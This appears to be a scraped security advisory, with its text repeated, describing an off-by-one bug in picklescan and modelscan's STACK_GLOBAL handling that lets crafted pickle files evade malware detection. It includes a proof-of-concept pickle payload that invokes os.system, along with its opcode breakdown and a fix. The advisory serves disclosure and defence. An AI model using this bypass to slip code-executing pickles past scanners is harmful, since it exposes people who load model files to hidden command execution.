Details
There's a parsing logic error in picklescan and modelscan while trying to deal with opcode STACK_GLOBAL
.
Function _list_globals
when handling STACK_GLOBAL
at position n
, it is expected to track two arguments but in wrong range. The loop only consider the range from 1
to n-1
but forgets to consider the opcode at position 0
. The correct range should be 0
to n-1
. Attacker can put arg in position 0
, thus the parser can only tract one argument. Then, the exception
|
f"Found {len(values)} values for STACK_GLOBAL at position {n} instead of 2." |
will be triggered. Thus it can cause detection bypass since the malicious pickle file will trigger unexpected exceptions.
Example:
0: S STRING 'os' --> arg 0: STRING (untracked argument due to wrong scanning range)
6: S STRING 'system' --> arg 1: STRING (tracked argument)
16: \x93 STACK_GLOBAL
17: S STRING 'ls'
23: \x85 TUPLE1
24: R REDUCE
25: . STOP
PoC
import pickle
payload = b"S'os'\nS'system'\n\x93S'ls'\n\x85R."
with open('bad_pickle.pkl', 'wb') as f:
f.write(payload)
pickle.load(open('bad_pickle.pkl', 'rb'))
Impact
Detection bypass in both picklescan and modelscan. Note that it also affects the online hugging face pickle scanners, making the malicious pickle file bypass the detection.
Fix
Fix range here, make range(1, n)
to range(1, n+1)
to make sure the n-offset
in range 0
to n
.
|
for offset in range(1, n): |
Details
There's a parsing logic error in picklescan and modelscan while trying to deal with opcode
STACK_GLOBAL
.Function
_list_globals
when handlingSTACK_GLOBAL
at positionn
, it is expected to track two arguments but in wrong range. The loop only consider the range from1
ton-1
but forgets to consider the opcode at position0
. The correct range should be0
ton-1
. Attacker can put arg in position0
, thus the parser can only tract one argument. Then, the exceptionpicklescan/src/picklescan/scanner.py
Line 281 in 2a8383c
Example:
PoC
Impact
Detection bypass in both picklescan and modelscan. Note that it also affects the online hugging face pickle scanners, making the malicious pickle file bypass the detection.
Fix
Fix range here, make
range(1, n)
torange(1, n+1)
to make sure then-offset
in range0
ton
.picklescan/src/picklescan/scanner.py
Line 255 in 2a8383c